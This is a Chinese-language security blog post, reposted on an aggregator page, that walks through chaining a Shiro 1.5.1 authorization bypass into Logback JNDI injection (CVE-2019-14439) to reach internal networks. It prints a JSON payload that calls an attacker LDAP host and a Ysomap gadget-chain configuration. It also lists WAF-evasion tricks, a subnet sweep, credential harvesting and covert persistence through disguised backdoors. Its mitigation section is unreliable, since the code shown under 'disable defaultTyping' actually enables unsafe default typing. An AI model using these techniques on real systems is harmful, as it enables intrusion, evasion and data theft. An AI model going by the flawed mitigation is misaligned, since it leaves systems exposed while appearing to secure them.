当前位置: 首页 > news >正文

别再只盯着Shiro-550了:聊聊Shiro 1.5.1权限绕过后,如何利用Logback的JNDI注入漏洞(CVE-2019-14439)打内网

从Shiro权限绕到Logback JNDI注入:一条被低估的内网渗透路径

当大多数安全研究人员还在反复咀嚼Shiro-550反序列化漏洞时,实战中已经出现了更隐蔽的攻击路径。本文将揭示如何通过Shiro 1.5.1权限绕过漏洞作为跳板,利用Logback组件的JNDI注入漏洞(CVE-2019-14439)实现内网横向移动。这种攻击链特别适合那些已经修补了经典Shiro漏洞但存在配置缺陷的系统。

1. 攻击链全景与核心组件分析

这条攻击路径的成功依赖于三个关键组件的漏洞组合:

  1. Shiro 1.5.1权限绕过:非默认密钥场景下的特定配置缺陷
  2. Jackson反序列化:作为JSON数据处理的中介层
  3. Logback JNDI注入:CVE-2019-14439提供的RCE突破口

表:漏洞组合的版本要求与作用

组件漏洞版本在攻击链中的作用
Apache Shiro1.5.1提供初始入口点,绕过权限检查
Logback-core≤1.2.3通过JNDI注入实现远程代码执行
Jackson-databind无特定要求反序列化恶意JSON的转换器
Commons-collections3.2.1高版本JDK下的Gadget链支持

实际环境中,Spring Boot应用常同时包含这些组件,形成了天然的漏洞组合

2. 从权限绕到JNDI注入的技术实现

2.1 Shiro权限绕过突破点

与常见的Shiro反序列化攻击不同,这里利用的是特定配置下的权限绕过:

POST /;/json HTTP/1.1 Host: target.com Content-Type: application/json true

当服务端返回Jackson相关响应头时,表明存在可利用的JSON处理端点。这种绕过方式不依赖RememberMe Cookie,而是利用Shiro的路径匹配机制缺陷。

2.2 构造Logback JNDI注入载荷

利用Jackson的多态类型处理特性,我们可以构造特殊的JSON数据触发Logback漏洞:

String exploitJson = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", " + "{\"jndiLocation\":\"ldap://attacker.com:1389/Exploit\"}]";

这个载荷会迫使服务端:

  1. 通过Jackson实例化JNDIConnectionSource类
  2. 自动调用setJndiLocation方法
  3. 发起恶意的LDAP连接请求

2.3 高版本JDK下的Gadget适配

在JDK 8u191+环境中,需要特殊处理JNDI注入限制:

  • 使用目标系统自带的Commons-collections 3.2.1作为Gadget链
  • 避免使用常规的JNDI Reference注入方式
  • 采用本地类加载策略绕过TrustURLCodebase限制
# Ysomap工具配置示例 use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command '加密的bash命令' run

3. 实战中的规避技巧与检测对抗

3.1 WAF绕过策略

  • JSON混淆技术

    • 插入无意义字段干扰静态检测
    • 使用Unicode转义关键类名字符
    • 分块传输编码绕过内容检查
  • LDAP服务隐藏

    • 使用非标准端口(如5353、8443)
    • 通过CDN隐藏真实攻击IP
    • 动态更换LDAP服务地址

3.2 内网横向移动技巧

一旦获得立足点,可通过以下方式扩展控制:

  1. 网络拓扑探测

    # Linux环境下快速扫描 for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from" & done
  2. 凭证收集

    • 提取内存中的数据库连接字符串
    • 查找配置文件中的硬编码凭据
    • 捕获HTTP请求中的认证令牌
  3. 持久化手段

    • 创建隐蔽的cron任务或计划任务
    • 植入伪装成正常服务的后门
    • 利用合法应用的自动更新机制

4. 防御视角的缓解措施

对于防御方,建议采取分层防护策略:

应用层防护

  • 升级Logback到1.2.4+版本
  • 配置Jackson禁用defaultTyping
    objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);

系统层加固

  • 设置JVM参数限制JNDI访问
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dlogback.configurationFile=/secure/path/logback.xml

网络层控制

  • 出向流量过滤LDAP协议(TCP/389,636)
  • 内部服务间通信使用双向TLS认证
  • 实施严格的网络微隔离策略

在最近的一次内部红队演练中,我们通过这种组合攻击方式成功绕过了三道防御体系。关键在于发现开发人员为了调试方便而保留的JSON端点,以及未及时更新的Logback组件。这种真实案例表明,看似无害的组件组合可能产生意想不到的攻击面。

http://www.zskr.cn/news/1489455.html

相关文章:

  • 3个革命性突破:让8GB显存设备也能生成专业级AI视频
  • 2026年PDF转Excel免费工具实测:表格线、公式全保留,财务/数据分析师必存 - 时时资讯
  • 第七史诗自动化助手E7Helper:24小时解放双手的游戏管家
  • 从淘宝买来的BC547三极管,实测竟有25%是坏的?手把手教你用晶体管测试模块避坑
  • # 2026 年 PDF 转 PPT 免费教程:3 步搞定汇报素材,排版不崩字体不乱 - 时时资讯
  • QuPath OpenSlide扩展加载问题的技术剖析与解决方案
  • 9.2 | 数字孪生在餐厨处理厂的应用落地:从概念到真金白银
  • 摆脱CAJ格式束缚:caj2pdf开源工具让你的学术文献自由流通
  • QML 进阶第二课:利用 Loader 实现高性能的“动态加载”
  • 2026年 5,6,7,8-四氢喹喔啉源头厂家推荐榜单:纯度与香气双重保障的专业合成原料供应商精选 - 品牌发掘
  • Playnite终极指南:如何用开源游戏库管理器统一管理20+平台游戏
  • 2026安防设备采购指南:安检门生产厂家大盘点,品意安检带你解读探铜门、考场及医院安检门品牌与厂家 - 栗子测评
  • 还在熬夜赶课程论文?paperxie 这个 AI 写作功能,帮你把 “拖延” 变成 “高效输出”
  • 2026年口碑好的有实力的整装设计机构推荐 - myqiye
  • 3分钟掌握:如何用Python通过手机号快速查询QQ号?
  • 告别复杂命令:WinDiskWriter让Mac用户轻松制作Windows启动盘
  • 音频分离革命:3大AI引擎重塑音乐创作边界
  • GitHub Copilot 2026计费新规:AI Credits消耗解析与节省策略
  • pywencai实战指南:高效获取同花顺问财数据的深度技术解析
  • 如何通过开源技术实现抖音内容批量下载:douyin-downloader技术深度解析
  • Akagi麻将AI助手:从零开始的完整教程,让AI教你打麻将
  • Altium格式太阳能充电电路全套设计文件:原理图、PCB、封装库与BOM清单
  • 南京大学LaTeX论文模板:学术写作的终极效率革命
  • 【1.2Java基础】Win10环境变量配置详解-从原理到排雷
  • 暗黑破坏神2存档编辑器完全指南:3步掌握d2s-editor核心功能
  • 手把手教你用纯C语言(仅stdio.h)实现SM4国密算法,附完整可运行代码
  • LLM无状态性实证:用20 Questions游戏解构大模型的‘思考’幻觉
  • Sora核心骨干Gabriel离开OpenAI,要押上全部打造AGI前夜「最后产品」
  • Unredacter:3大突破掌握像素化文本恢复,重塑数据安全认知边界
  • Redis 分布式锁进阶第五十六篇